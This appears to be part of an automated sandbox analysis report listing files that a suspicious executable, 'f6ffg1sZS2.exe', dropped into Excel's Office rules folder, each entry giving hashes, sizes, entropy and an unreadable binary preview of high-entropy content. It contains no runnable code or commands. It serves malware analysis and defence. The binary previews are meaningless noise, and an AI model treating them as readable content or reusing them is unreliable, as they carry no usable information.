Preview:	<?xml.......C...c..o...{..oe.C....Vt.....(..J.Z...].,-..AS...1VN.\|.I.. .Nb6.H....P...k,.z.B.u!#..m.....o..w....2%~=.......%1..`K..@..qs{q.V.k(qt\j....b.>.q`..8.Q..m....j}...M..T......\...I.w..D.2...h.\|....s.w.f...C.d...;....<..n..7%.j..h/_...?......I...H...n.@I6XK.D%..#I.....0G....c...._.H...JNE....>M.H.O...V...>`..E.....7-;....3+....,.W..%...Ffg.M..l&.j..9.u..:.qC....nZ .....n.d{K.`..`.^.U.-..xNT.u..L......_.5X...j.b..3{....'.4a......c.......He.gC.q..8.H.....o..w=0....q.0.#..h.~8D9....J....NEx.C.V...g...(..w..n..nZoK..(..s.H...-3...y%......52].....G..\........... .9..V..u!.....KYj.............Y..V.M.,..MP.\|..g[........dY. .z....P..;..GC.LQbDo3EfIVHxGuJOWRJdmxgY66rD6kiyqz4tzyt1{36A698B9-D67C-4E07-BE82-0EC5B14B4DF5}

C:\Users\user\AppData\Local\Microsoft\Office\16.0\excel.exe_Rules\rule120605v0.xml

Download File

Process:	C:\Users\user\Desktop\f6ffg1sZS2.exe
File Type:	data
Category:	dropped
Size (bytes):	1210
Entropy (8bit):	7.805328909930679
Encrypted:	false
SSDEEP:	24:qUszh9A8zM4dsYtqNjtntU7X/BUmPXHL4F4JFzQKFSJbD:fqAsMivt4tt8/BUrF+xTFSpD
MD5:	189949C153E0440426EAFEBAD6C66301
SHA1:	FF447094F0447932942AFB13193A08997DB92FDA
SHA-256:	597618923E23C24B34D984765EC9066D2877809CC09EACEC390A1385BBCE078D
SHA-512:	9ABC03F9AC966A8738357D428171548C0E30D5A1FFB3557EAFAFBE972D8CE035449019057B999A263AF3A57D73127D4DBF463E702572A6AAEEAA5E9148A4B027
Malicious:	false
Preview:	<?xml..q.Kv..V...v.h.#Vt}.ZORDw.....g89...7..J.....}..D.B.V..Y..].;f,..1..H.....c.1.w.yZh.%.8x....\..K..Rf..&.9=.'..zR.[.........e.0.....'.a..._........,..y5ed..e......KJ..0..oP.]U.7.0.~.8.).o.\|O`P....BNv.D.....g~...q..#V....z.........8.B..j...2..$...G.X7.....>..:b..MV.1...V,.......f.~....i........._.R.N..i.&......M.{.....!..Q.'..Y.w......V.0J..Y.=.M......cQ@z..nY@.h.VQL~.i...O......T.Bo.k..S.f.=.,<.i..8....RQ.O....A:.....x.:C....Z..w...F.......M....Z.".D.{.D..#...w.L.w....bJ...]9.-.i[.:".o...W.H.U......k......6...d+s..S...jt...........e.m.lS..e..x7..l..`y.b.....e6Km.L[3.8j....(.....b}..y.....f...'.X.EV9..H.......TB..'..E&..Y.\|_..s..KN.y>......@..e.V,.B.lyYtw.Op......Y.B..OG5....}.z..7rZ`..Jh."KN...h..>m.]..?.D......YP6.@...rPvD..D.....t.q.r.Ttp#V.Mt_.y....V?..n....d.^.p......D..~Ph...D.k.E6........`V.....i...NxZ..O..!..(....%.j+....,2...<..w.Z../....x._..Zm....N..Lz..=.\............G....KG.e.w.Q~...D2..a..G.\|.O+..(x...p..GrB...3v.KF

C:\Users\user\AppData\Local\Microsoft\Office\16.0\excel.exe_Rules\rule120607v1.xml

Download File

Process:	C:\Users\user\Desktop\f6ffg1sZS2.exe
File Type:	data
Category:	dropped
Size (bytes):	537
Entropy (8bit):	7.589449812873927
Encrypted:	false
SSDEEP:	12:y87N03UM80Sx1ZE0XoKvd5qEhzarHrSnyXS2cii9a:Ri8X1ZZXoKbarHrSynbD
MD5:	B43F7992D90DB5AA5B2362257411572F
SHA1:	F7D1348D276BEF20648209BB6CDF9625319A7066
SHA-256:	07C8BC6F9E0FC99D5866A737BD07A89E16B583840F7C03C88CD85EEB40EAEF7A
SHA-512:	284091B0C8D04F7A889EDE09093B068DC588F3AB808E4DE30365C139CF0BF1D7896296E515B11C4C24E0637FA239A90F7AA88F76FBB1E3929728014994EAD144
Malicious:	false
Preview:	<?xml.\Jp.......c....7.,.........(Mf.H......9.EM1...m.`..Z!fE."5.5\|.;d.3'..]...e...R[.K..r.v..q.~.'..<..Bn...^...j5.`..4..............Q..?z...]..K...^.c....n$..c.-s.4h.K/x....[.K...XL_..\|....-L....F...2...1...r......p....Fl.. ....._......Q...p....[..(.....XoH..hB..DY.t~\..J..9..bfC{c.1...3.... ...X.ej...IW>.....vj.Q.<j.{(f.2P...X..F!-.w.....v..GV....C..}A.kU..~3s79..4kk.P].]..;....w.....2...A....$P..kwF..-......9V....\.\|.....X.p-.LQbDo3EfIVHxGuJOWRJdmxgY66rD6kiyqz4tzyt1{36A698B9-D67C-4E07-BE82-0EC5B14B4DF5}

C:\Users\user\AppData\Local\Microsoft\Office\16.0\excel.exe_Rules\rule120608v0.xml

Download File

Process:	C:\Users\user\Desktop\f6ffg1sZS2.exe
File Type:	data
Category:	dropped
Size (bytes):	2493
Entropy (8bit):	7.9169514605082005
Encrypted:	false
SSDEEP:	48:kWYVOvuBBGbdrSEDPvVZoBhjfoTAj1Huqf9e/YuB8AyQLj32697B+aD:7YVOvuBBGblPPdmhjfoMxuJfaANjxd+y
MD5:	1B7A559CF8AC0DE93905892FEEC4F57E
SHA1:	E033DB8A71DAA7698AFF0047E71486261B70D6FF
SHA-256:	B1DA90A2ED91612442BBCF97B74C5BF8267DD4C53B52F699B37F3133B7E226AA
SHA-512:	69522CE8E75CDEB6D0BB78C5BACF164E61E1C72CC98550B0BAC3401E1D61B1B6C9AAA7BED9059E38604FD73E2D45091DF7D6F3B3EF8DFDA74DC6FE41FAD98DEB
Malicious:	false
Preview:	<?xml......@d....u..I....J.&....{.....&...n..}=..........2. ...D.v..Y~L.Z....r[Y... ...U.....+....kcD;a.6MR......!.0..."j.X.`..\|.v..Z.kC..&.S.h..S..._..(..xRn.6~....k.......B..cz.{.7....TE.......Oas.n......<G.v..&..x.NN..G...r...m..(.!-.M....t......3...../.....]......8...t....Omd...\S.;+....h.w.'.G.......D...m..e..?....(...7O..=..WU..O.udP..w#?m.?.f..p..n..=.I..W.-8.(.H~....a.9>.[,.~x+.....4..~$....[!6.7U...l..c{..2. 2.S(.r....s...at.=v.(.5.......I...#.I...<QD.....+.Z...\|.W..,<t.....Z:.[Z......?....Z.e...v.$.Z.T:.}u.a. &.q....L\~p.@t..MA.%...K.q<.E.\|l.....#.oA.....q....n......l........7.q...&.y..f .K."iw..pe...E..X/.......gU.L._%Q.u.....].>.v...d$.M...?-.k....v.D..e$._j....s..;..O.,d)3I.D9..........3.f.;u.CEC...D.gH..usI.1b8.....YP...l.L..`.*/\..I...._..9Y/..=._..\....9d.f.h..I.S....{.Jp.....j..,..3g.%...?R....5.u......I..R.#.wm..u.SB.$..y.B....2.x2.Jm.xa09h.n$B.2.X.....p.u.....M;vH.D.....U_...\..8'n..\.#..~1......9.I=].O..T.6.S....HT

C:\Users\user\AppData\Local\Microsoft\Office\16.0\excel.exe_Rules\rule120609v0.xml

Download File

Process:	C:\Users\user\Desktop\f6ffg1sZS2.exe
File Type:	data
Category:	dropped
Size (bytes):	741
Entropy (8bit):	7.685772268025442
Encrypted:	false
SSDEEP:	12:wGE/dPNVaPyO4UGsHoAX6UZl9apnMfZoqhMi73iB4GKU6UOyt4OzH03MFyS2ciik:oUPyXUjWU8xMRo5i5GKUndKOzH+MFybD
MD5:	9AA4855D06F1211347AC7D3D08F630E9
SHA1:	3899CA0399236D3E1D3DF2CEED44AB5F677DEE47
SHA-256:	2A9FC63098A6C1BEC0596D5164B55F2AA34F536F154280785CA38355B3912F75
SHA-512:	6F6C1D561F01E3C1CC0B7706C680CA38A605BB1038F62CB56D5C2287280B0FBA77F618B2F3E0249C0D644113FB37426D728A6A1458612C25975A05351B49C596
Malicious:	false
Preview:	<?xml.8.jy....... ..!..\.........{.q. ..9-.m..q.c....@....6H..^@P./.....u8.u.V..do.;..2....?.........k.}d2.F.{k.U.Hc..x`....:.L..}a..........'.s..(...Q.c.M...eeIP%..w..FW..........&J.[RV....pB[E.,@.1.:..V.D...5..&.]S..s...x.............R................V.NB{.P.'....$[.X._....7.e....}.@.R..h.V...P..n.TK~..4...}2.-,4.:.... ;..M...[a .<....?.@F.^..w@.<:...G.6..j@W..C.j...F.j.o.}..F.r..."2.y'.BW.-Y..r.vj.4..(..~.8.rV..3..X...oP.$n.se.K.3....P..n.4Np.m.".L...N>.m./.Ps.x..(.2(R\B....XqU1...4X.1{~).p.<7.....XFL.......x.WJx..W..A.4..]N.W...L].)..b.."..y...v....r.(s..0._....S...#...^=C..[3......!_.W[L...;..Q.,.}.:D4#..S.s......kH.4.0.O..LQbDo3EfIVHxGuJOWRJdmxgY66rD6kiyqz4tzyt1{36A698B9-D67C-4E07-BE82-0EC5B14B4DF5}

C:\Users\user\AppData\Local\Microsoft\Office\16.0\excel.exe_Rules\rule120610v0.xml

Download File

Process:	C:\Users\user\Desktop\f6ffg1sZS2.exe
File Type:	data
Category:	dropped
Size (bytes):	807
Entropy (8bit):	7.716643838251082
Encrypted:	false
SSDEEP:	12:1yp3yhWppkcxIyF5wX8K45inaVgZd8F8ao2ny97Sl4EuxKyugsD4Zrxtz8dcuS2X:1KQ8kc+p8LI2g0mRIy9PzxKhWVt/ObD
MD5:	6457D00A7C76A3FE1CE7C793A107647C
SHA1:	70200E7DFE56926ACE96EB632B490FBAF761A5F9
SHA-256:	C9B37FC80AC9A60BB36C4D77A5EBB015BF4AF0086AC2021519307C20555629F6
SHA-512:	CB13E716686214088736A3EC66E4A44B16B67EC730B384A069E2FF6419FD4A2F1D4D338669AAEE1D9E2A43E1A253D93F5F64B683C82E0DC9A40A4306359B3267
Malicious:	false
Preview:	<?xml..g.4......s.j.Q.....f...]FA.Y..`..s..3..<so........LX....[W..X.....SSR.>.%\L^^6....XC.......A.3..tq...........N.@.i..._,.I..C..d...;.q.#O+.'%pzC.C....c.z4ro..c.."+...f+....<.Z..i\'Fi...H...B..{..2....i.....34-.C.^...r.a7s...r.O..2...].gm........f..c..x....%...4.........8.@.X.1...K..V..W.........+.Y..Y..q.....^.y.dpl.D4.....<..K[09..QE.=...g..........3.gh"^..r.5. ...p.Z.....yey.5...Y\|..!.4.}.4..D......).Q.....v7....aE..x./..T.1.}.zOy.U...zr.(.......L....7.5...t.P<e.....aD/d-.1C.......Q.:...t...vj.t+..>.\..O^..?&/.\e...>@L.d.4..r.n.:f..i.n....^.........h..Vl^..n.\)(...y..g..1=..oh..M.i....R.{.C..G...e.s.....Nj...m)..D..?.W..7y..dc.{..L=.Z.O.OF..J..q6..v3..0...,.....?.LQbDo3EfIVHxGuJOWRJdmxgY66rD6kiyqz4tzyt1{36A698B9-D67C-4E07-BE82-0EC5B14B4DF5}

C:\Users\user\AppData\Local\Microsoft\Office\16.0\excel.exe_Rules\rule120611v0.xml

Download File

Process:	C:\Users\user\Desktop\f6ffg1sZS2.exe
File Type:	data
Category:	dropped
Size (bytes):	748
Entropy (8bit):	7.681995333210702
Encrypted:	false
SSDEEP:	12:Q9mXbEg1KJGHXdX1qALft3T4p+SyaGYoproMCBAI2Wiq3qUU2eqc0KMHmKEJnTjo:QQAgKJGHd1qwN2S6JWGXuqc0NGKgnNWv
MD5:	ACE126EB5FC3AA9413C56E526DE6D027
SHA1:	39B7CA0EB34D207D869DFBA5003B0A9B6C84C880
SHA-256:	EF0A6506061EC9C4AAAF5E666B10CE0150D273646F593DCFF2167A7A2AB5EC94
SHA-512:	F4C5CC15341F81A498EEEB2C5661B33D395B02FBA79655C9981CBB6F1FA752A37155AAD0924B83E2D6171C1958E90165DF9CB0DE598D7180BD867BF9DAA690A4
Malicious:	false
Preview:	<?xml.Ev.I.}..N"B...b\....p ........5.i......).@.....F..p..S....2...V..s....B....K.{..R>..UO..TT.(...:.T...OT.. ....n...=.. M8..3.x..h..N......q.db.X).}~......u..4x......!.....Y3b.f......`l.As%p....f...G..p..A.;s..SO.;.>6B.?y.{42L.P.....D..Z.......~i1N.............Vo..Jx......^LF.$FXZ...o..[.Td.AA.\.L\|.......D"....z.ct...*...l..n.s.K......N...b1.. }.G.a.[.{.nQE.7g....xP.=.{......F.=...FU"g...Qq...F.r...@..v@........XSpK..}`+.6..Z.8.?..Wx.?!0........l.v`..L...4... `<R....)G.vAQ...B.9."..r.......A..Nj=e.%..\|ZJ.....%.;F..KsU".....d.q..v..U...!!...r.a.#z-oa.OL.w.A.u..$>"..U.E,=q._\.l+]l.A.....(..<..2.56.5.a..#.....3...:Bnu.2...&.D.n.7LQbDo3EfIVHxGuJOWRJdmxgY66rD6kiyqz4tzyt1{36A698B9-D67C-4E07-BE82-0EC5B14B4DF5}

C:\Users\user\AppData\Local\Microsoft\Office\16.0\excel.exe_Rules\rule120612v0.xml

Download File

Process:	C:\Users\user\Desktop\f6ffg1sZS2.exe
File Type:	data
Category:	dropped
Size (bytes):	804
Entropy (8bit):	7.73672008389154
Encrypted:	false
SSDEEP:	12:mcDqtfSvr9wVQ/h00NTjuBFhRfkzY/+MzrWJ1fyhozSIhyf/I7FY6JeUYs1Q4hSw:msZxeQ/1tMce5Cjy8HQA7S6JFy45bD
MD5:	1647C0494E61820FF322EA7A45FACBBF
SHA1:	77586F412A111BDAA0C80F08FF06473358911FF2
SHA-256:	58DD5E4D3716B10212A80F76091A8156BB10901C5698AFC7D37D0A8EE39F143B
SHA-512:	30CF543B22C5B5FD7D08B5B554CDE67A30392F36886A194CECA5745DB0DCC2ECCCE675720A9904833CA2AB1728901D5EF6C7EE2D00255FBB0A9370A98274D898
Malicious:	false
Preview:	<?xml.._...=..2..8..!@......<.)o"X.C.........>....Szbp.@>......@1.Q..X.c.l.Eo.Q.....e....$.....N...7..HO...@.....V.v.oh..0=Q.`.N.-..f......tmp.._...H!L.i.....0....d.......\|.b.........."T.=.]..FS{T$9..]$P._.. ........U........9...\C.%..`....DS.X:..T..B_.@..y8..f..`d.z....f.9.}.7..k...}.z%{.NM..)...iY..g.5O..q6&.-+i-...m4.N..d@..~.i....o.0...;JSC..hu}m.iU.:.'.{. ./]......Q}S.mP.3...P....qV.v.Y.....f;........!.6.Ri.B......].8!..6..........g. ..#8...:..p..%0J..s....c.......J..........!s......~..\|,_.....Z......>.&.. ..L+. .Il..X..`..`#..........%&...;....^AyQ.R.:..o.(a.h....9.?.t)..R.0.H.I..ic.....3..7..J.S...../...4.i.f...M(j..o..}o.`.8....E.,.V..&.w..{.........x.LQ....KQ..LQbDo3EfIVHxGuJOWRJdmxgY66rD6kiyqz4tzyt1{36A698B9-D67C-4E07-BE82-0EC5B14B4DF5}

C:\Users\user\AppData\Local\Microsoft\Office\16.0\excel.exe_Rules\rule120613v0.xml

Download File

Process:	C:\Users\user\Desktop\f6ffg1sZS2.exe
File Type:	data
Category:	dropped
Size (bytes):	965
Entropy (8bit):	7.79740888850308
Encrypted:	false
SSDEEP:	12:i7+gAFcAJ7ZcFClCStawgtq1z+rckw0wwXyDOhNlWDTzi7dAi/tIuIC1E3AjwH1B:tBFck2ClVALqULw0wsNIDeAi/YwjwTbD
MD5:	1C2D1B936086E65973DA436156DCABCB
SHA1:	1EFFFD6240A3958AD8000084C60A6C8C2D829D5A
SHA-256:	2C2B5CDA2F711BF007F17AA9F75EC58E3A4AF78F3ECAE67FE18B71066B2277D3
SHA-512:	58025E675065EA42C6A50E11D1140C8EFD1C9B58B6B804471AB8F06CA3488EF93E76696B2D64DC1DEB01366FB9B88033280301E9671C4F0C8C01CCFD0F582FB5
Malicious:	false
Preview:	<?xml.Tq\...V.h..1.291A..yU.....lS.~...@9.9'?.....I......9.Z.f\...J....?....s..vE1..............T...Q... ,.(.#a.]w...6. .@..b.J.......M.d.V..=.1/.O.uX.N.=...36~`.b:%.2...X4."2....%.g.=.\|K._..{.b$.R..`.4.3.........K fq.......O.T.C...+\...4......6.5}M..8;.pQ....&...i...z.g.J!q..>.]A.S....f..,.IQ.j.4.S..+..O..N.../Yk.x.....F.*)...n..7I...F../8.3.-.Z....h.q.[....r...?...."..;3.,...F..3.....>x..U...I0.2tS.g.\|......].K.......gV..%M..;...u.A....P.;...R.V%......6.,7.:."AN.O.A.zCO.....:.6)#<.V....S...4.......t.....W.......nPA...R. $G#E........i..Z.{.3!$]..A.$.@..uFQ....{.........W(I.a[....X.z.}.M4.......8..$4."kh.K.$s.j.t\.j.,.)..D...^.w....."..\|t.:.q.W...O..\|Q.g......../..U..d...4..W.?..).N7...\|...q~...fd^>.\|..(..2n....k..(.....?.....E...z&.....)...Uw..-.M=.........~.......`..v2k.b...c..j.}s>y...E..\|?ZsR....);.J>..\.b......p).LQbDo3EfIVHxGuJOWRJdmxgY66rD6kiyqz4tzyt1{36A698B9-D67C-4E07-BE82-0EC5B14B4DF5}

C:\Users\user\AppData\Local\Microsoft\Office\16.0\excel.exe_Rules\rule120614v0.xml

Download File

Process:	C:\Users\user\Desktop\f6ffg1sZS2.exe
File Type:	data
Category:	dropped
Size (bytes):	800
Entropy (8bit):	7.753658265052377
Encrypted:	false
SSDEEP:	24:+c10zcUWySTuBujUXz9g2uEa0Ttzq9CnbD:+IUoTuBxggb/bD
MD5:	C710176E42F12EF1FED3CCFB15D5DC64
SHA1:	599520385A70D05D098FDE4A9112DDD5BAD5F5FC
SHA-256:	005A4523547B37E135DE445E5F54F4A5EE103F367547FEC77DC36D9931642237
SHA-512:	75581EC014F8E9A9F31DEC06D49AE7D557B6D98A662E8E749C89A42ED82BA7CD2805A81178577C67325A3FF08E7CAEED8A5458CFAAEEB415288222CC19B9280E
Malicious:	false
Preview:	<?xml.....:m.....P.[I.x...7......a.....S.......e..R.T......N.p..~NZ.K...}.TN..s.......0...X\!.S..S.8[.........K...........Vg7..].B..... F.5..Mr".......O.~G7...I..h.\k......d..ivM(.8V.....`.hk.....PWZ.....\|.....G{O.K..p#:...D..J.;..7\.4:.6..F.....ry....@2..,.....8.-.A\v......C.H....,.:....J.K.>(.Q..ft..9....H.[..6.(x5..)....9.)...h..)R..........\..4...JwX.Uu.]..5~....@o....8.(..!......p..g``.x..N&{..-..S...#l....kJF.xO.88Y.....~Wn;...".H..:.=.g ....1.&....D/'.6>"..j.R......+.........03..5....a.y.Rh2.OHTC..............gt.bL.....H._W..U,\....<P.^.c..j...$HS.I.s^....#0.`5....-N,.E...*...c...wS..h.....c....\|..w.h%H.n.eI...u/.d.%3.km..F....Pr..g..k...1.W.[l.H...P.LQbDo3EfIVHxGuJOWRJdmxgY66rD6kiyqz4tzyt1{36A698B9-D67C-4E07-BE82-0EC5B14B4DF5}

C:\Users\user\AppData\Local\Microsoft\Office\16.0\excel.exe_Rules\rule120615v0.xml

Download File

Process:	C:\Users\user\Desktop\f6ffg1sZS2.exe
File Type:	data
Category:	dropped
Size (bytes):	740
Entropy (8bit):	7.704574734039168
Encrypted:	false
SSDEEP:	12:oZlI3LVyTIYUfva1EQysgMRFfKmzO1ttz22mlLgWgxpTzMzSloUUNIzhZS2cii9a:o8bsTZU691gizO1SJgWgxpTzMzkUWbD
MD5:	BF3E4956F26F8B0234950FC55EE069E9
SHA1:	CACAE392B02D5B238D46CB6F84C8EC458DB7F113
SHA-256:	394EFA5200D39037F0D769F374755AAD43F66BA43A126EE68EE5287DE54B1046
SHA-512:	B74D4DA7A5F5E8D88F25B29B3F1F8C828F520B06D717A25B18BDF1B8AFE57AF32794F90E85F6FC2DADDBE41F099E1486037CD56A67B5E655B12A020C1194CBC4
Malicious:	false
Preview:	<?xmlUY......"n...5..^....3M...I^.aLBq...~R...M.V.L.(........`..x6.v..%...G......$?.2..'..>..4qd.$..Q...... .3.zFFb&.@J....S.gC..}..B..1..C>...D.:..NG.aD.2Fgwl~...}^...X.d.g..^....+.@f...x7[znT=c.........s:KqH..[...Z...D3..,.TZ.@...lf....NZ#I5j./>H"%;.$....L>.5.9...>-.k....=.l.L..q/S...b{..b..9{.1`..mY.....1..l:..o....h.G.UT,.Na.2O..C.h..'.@.z9f...........V..t.....l..6..3$zy.t.'B.x..k7......38Q.3..8.<W.T-n.5...Q..A"kR.=\.S..k}..y*/.8.._M..........,......R....me......~....n?....V?.Kh[.n..MY..s..6E..#.3.........Y....u)..'7(..0.\k.....+.ip.?....4..A..>..6...}..q.X'K~...t^..h....0...... 8.j..l"...,..%..5.xl.....-q..5V...>Oy...LQbDo3EfIVHxGuJOWRJdmxgY66rD6kiyqz4tzyt1{36A698B9-D67C-4E07-BE82-0EC5B14B4DF5}

C:\Users\user\AppData\Local\Microsoft\Office\16.0\excel.exe_Rules\rule120616v0.xml

Download File

Process:	C:\Users\user\Desktop\f6ffg1sZS2.exe
File Type:	data
Category:	dropped
Size (bytes):	819
Entropy (8bit):	7.7266666090829395
Encrypted:	false
SSDEEP:	12:HRIwDbhOCI3OfRZ40w3tHd/v3MUWoj2OrrZPlYNPZsAEMlTqG2xmPhxTAS2cii9a:Hy0hOEb40wh1vcUWojZm1qGAmPfTobD
MD5:	5C06A6D7B689C63288BB902F6F5CD1CB
SHA1:	C26EF9B29F6A3DFD12F6E97D75ED80DCBBCFD9D5
SHA-256:	05DC99BBB264D8E7C30AD55C3C9129BB9C79D1FE1507A18CD3F37B8B66A71325
SHA-512:	6E7B5039B2A2E41979A4D093B824CAC636A13DEB2503DC8BDFD5B16F31DA588D9B9105686C09CCFA84D4F8C482714E54001D04EF0D7DFF2AB7CAB6977155C4E0
Malicious:	false
Preview:	<?xml.....\|...V..n.Rl......O....l...K.AA...t`.../E.s..xSa._qX.t..Y.gV.w......U...G.5....1..:.]V2...\|).!)}..RR..1..o.!......_f..."...G.D......R=r6.. _..{A]......w.`.M2.T8...T...........k..A.wS.M.x.H.........^...l..zBO...g.....xt......4..\..x...Id...z.....R.kz......ZK........#;d.o.J .~......2...C.s?...(...4z......Z...Q.....i..@7g.i.FV.6.iM.F}.C.o..@m..3..p.....o...8. ...].....B..]..:.4..6..zp.o.... .S..........x./f...'.M%_.,..`..S8...kC.......w.vH?m...'.%4....Q_.K.".6.v.+......@....n.w$....Z..)..vy.....v..z&ei.0K..p.y[.......S....a.....s2S....p..1/1R.`#GU}UE......1D\|.q..Vqg:...w6-...;...}.....g$.k....k.....A.KX.6.7;..,.].`_.(+.;..........IIy..b...QoGh.5...~.>..R........K..>.I;..j{...My,...d&LQbDo3EfIVHxGuJOWRJdmxgY66rD6kiyqz4tzyt1{36A698B9-D67C-4E07-BE82-0EC5B14B4DF5}

C:\Users\user\AppData\Local\Microsoft\Office\16.0\excel.exe_Rules\rule120617v0.xml

Download File

Process:	C:\Users\user\Desktop\f6ffg1sZS2.exe
File Type:	data
Category:	dropped
Size (bytes):	760
Entropy (8bit):	7.722548276413463
Encrypted:	false
SSDEEP:	12:f8lvogXgkwROHxySzu9t8Wthbzm2mqYLX6RzTPCtCPBUjXtOfOPX9nS2cii9a:EV+SH8SK9mWthbzm2QLX6RKwPBsk2ZbD
MD5:	15C4D2581AC69330F6AFA3E8E3ABC454
SHA1:	36F0475726CEFE85DB9F847D8A31712E4AF1BD42
SHA-256:	493D0D0539A3C56452547BD8ABC0775E595544A8F269D3B36C75D16DD79405EB
SHA-512:	D8F195D082E2603B6408C4BBE4979F6B30F9B3D27535BFA4E2AD73637889F98EE8E9C5F963F59084243D9F7273CF04AC0FE7124088058408273D107E65081D84
Malicious:	false
Preview:	<?xml.=..o{...V"9...)A...,.r...m.L...0.Q~..px.<~.M._.....f.V..i.#}......o.5?n..../.Rz...E..-JCE P.q........;b...U...-k..3.e8]....$p..w.!^..V-5.:A...J>..sZ,.De..@.Y....`kJ....w..3..C.....R>.BR{.aW&qyke..{..Y......I..j.g...[._ ai.]...CFS..M..0}.Q2.........&>........zZ.Y.cq..k...Wf..=..y.\[.w....;u.d;..4.. nO.+..o.wL....6...U.G..[.....y...t.r...:-_.&z.].s..s..d....PY.Au.].......).!:\.'\0.....Q:...-M......AAr"....;X..+.b...UQ..%.Qn..0.X.CdXe=......$cE_<..l..T.00`;'.t...#...%zCr.aAx;..d.....wv.q.3.&..W...X..*\|d..cf......{...gV..Ny.\.Nn.&~..........x.~+@....b:&.s....6.....K..G:.%.gE.e......ed..8#.;.......m.G.>'.../r....+...t.[......Z....>.94}LQbDo3EfIVHxGuJOWRJdmxgY66rD6kiyqz4tzyt1{36A698B9-D67C-4E07-BE82-0EC5B14B4DF5}

C:\Users\user\AppData\Local\Microsoft\Office\16.0\excel.exe_Rules\rule120618v0.xml

Download File

Process:	C:\Users\user\Desktop\f6ffg1sZS2.exe
File Type:	data
Category:	dropped
Size (bytes):	819
Entropy (8bit):	7.729104198302032
Encrypted:	false
SSDEEP:	12:9jhNnIo91dj0iC7MdnI7Gn7s7aSnM01cYliefhzL4Cu280G6lka2TfVzF3S2ciik:xhNB5wiCinNJoJlishnH80CVLVBHbD
MD5:	AEC3E0D1DEB248393867F735998EDC9B
SHA1:	382734F85359F8381934D12A44CE9016FA48ADC6
SHA-256:	8CBAA42901BD947EF04024304AE9E0456907F7D04A023137A02F2528EF72CDF7
SHA-512:	CD91B514DE966AECE4545FCCCB582B91FFD849737536FA48099B4E718314A4E363956B33268F67AFD38588D340674BEBC1DE5596F6EBFAC8F9A432AACF489806
Malicious:	false
Preview:	<?xml{.$...Ww....e......`.. .z.[..ns.G.........X...........3.5].w.k)......p.....4....<..1..CW.h.@..S...a0..QJ........T...2Wh..n0e..Cj2.6 {..23...p.k..\|...L......z~x..c.....&.2.....o7...d.0...kJla9..d_A..W%a....X.....l..0Z&Z.7..../R%.!. S.l..sp.jmn"...\|:Q..T......:...C..$.......-.~.....6..[....#.....T...<.s...iv..\|.^X..N...Z.q..4$.. 23a#M."..pA..#i.Wz..wI.aM........%.`og{......6i..}....vn...`.l.$...d.b.\|.gh......{o.,C....!AB.7-.@..)N..w.n..Fh....._...Y.%....!....l$H7...t.!)....Y..#......,3..QS..Z.2ak...-L?..l.........z...T...[.+...Q....0.Qu#.SpL....+f...Y...o+...b... .]@o....Z.:8.A.;M..Du.l.l...i...~......53......V...N..q$G...<../....sw..T\|.%9Lp...0J......*..[.&_...:1..........Z.....90<...LQbDo3EfIVHxGuJOWRJdmxgY66rD6kiyqz4tzyt1{36A698B9-D67C-4E07-BE82-0EC5B14B4DF5}

C:\Users\user\AppData\Local\Microsoft\Office\16.0\excel.exe_Rules\rule120619v0.xml

Download File

Process:	C:\Users\user\Desktop\f6ffg1sZS2.exe
File Type:	data
Category:	dropped
Size (bytes):	740
Entropy (8bit):	7.711465371681215
Encrypted:	false
SSDEEP:	12:NzF181R4GZN4IEw95Ue1QLm68ogZwFGo93+snS1Xrt9WIC4NzZwlKToLa0QV0RQF:NzFS1yG34IEwZQC6BgZwgo9Dn4Xh9bC6
MD5:	9CC627E05A89E7B7F59E46069C5CC4AB
SHA1:	B91F2D0317CC19C3136BA68560158ED68959DB70
SHA-256:	70F323F9C0D635042B8213FB634626F3321DA53761AB2608E315C4E6D4C42912
SHA-512:	9EED6B38CA39B966D4095B08032E66904A69822A9AB3E60DF7B14661D8E45D3080EA989EFE4CA0F01671C0E15CD357D3F7115B2CBDB5729A0F1D82E5D53681E4
Malicious:	false
Preview:	<?xml..k.R..G.^F......&..u.y...-....{m..E..3O..8......".3z.,..M.%J.F1.-..n...!......E..3..^..vMU.....2..~8.yT....k.2.d.l.\...S.A.....E..^.."FCb..z..i`..+.\|7..........s...R.i....i.3.V"....m..BG....B. ...[3...L...P.... ....p.O...R.Q....f....M..8.h\|.kR..w&.......qy.%K............#.>a0.\.`.p.8.X)r2..u..^.!.P..a...eaC.>.....?c.`v.]I7..`.(.L/rF6A6....P..%..`%...A...E.....-.Si...?.A..K:.o.Y.....%.Q.D.H.&A....A............)kv...Z...nh.[....^..oRTC..4!`'.....+a.9.9L.h.#.2....~.......].3<.zQ...SI...HSV............U..b...>.=...xi.n...d.....W_...E......U.6}r.6D.U.N.H..)p{....$h....:lZ...t...,>t...&....Y..x..mG}......\.l...f.LQbDo3EfIVHxGuJOWRJdmxgY66rD6kiyqz4tzyt1{36A698B9-D67C-4E07-BE82-0EC5B14B4DF5}

C:\Users\user\AppData\Local\Microsoft\Office\16.0\excel.exe_Rules\rule120620v0.xml

Download File

Process:	C:\Users\user\Desktop\f6ffg1sZS2.exe
File Type:	data
Category:	dropped
Size (bytes):	802
Entropy (8bit):	7.739043795252585
Encrypted:	false
SSDEEP:	12:KPS3iyRQ3B1/oVtqj3bEFvETVAcaD0Sz/0y2oKvpoNWOh66hm1rglDLyceGS2ciD:K6iyk1/HEqTVO08cmKhPP6hEYXyfGbD
MD5:	760718B76972FF2E9D164BED7C872842
SHA1:	76FD35050273A7EEE79E713AE38E32C1BDCE12E2
SHA-256:	0191D167F959E2A70FAF3115BE814D35E8C7F1C02FF13C722513CF61EECFFB8F
SHA-512:	9BC77B934216D407B7FE681E1142A6D44C89132635D7F93230858A44CE4F0019B7332840A6EDA12F0988F958D280AA1E6E7934E279122CE12C924412DECE225D
Malicious:	false
Preview:	<?xml..\|.6i....4...z..T.....%...^. jM}..fo..J....f[I.]..c.L.evB....[...u......w..........'...%)..<........~3....H...V.n..k.>e..9...,.......tN..Tr'?..K.qt.1...n4.\..y.M.S.#P........(.....>..Va.+p...WI..d.<..D8}..W.L.~....[...5X....a...T...?.......X..`.]Q...=(.e>.$.0.......{.N......v..\|-FM.m&B5.#.l...8.4.b. 20..F.5S..h.S...4....~W....Y.V...^.<u....5...Q..a.I..{.']R~.`%..5...iN?,...u....^...i(...}......u..'2...#x...r0a....U...3.y......'b@.~a.7H..h...C\|.]..0.1.~y..q....h."G.m....rIP! M......._l.2Gb..-.l=.M..3.5...e..V.....6Z..uWT..5..G(e`. 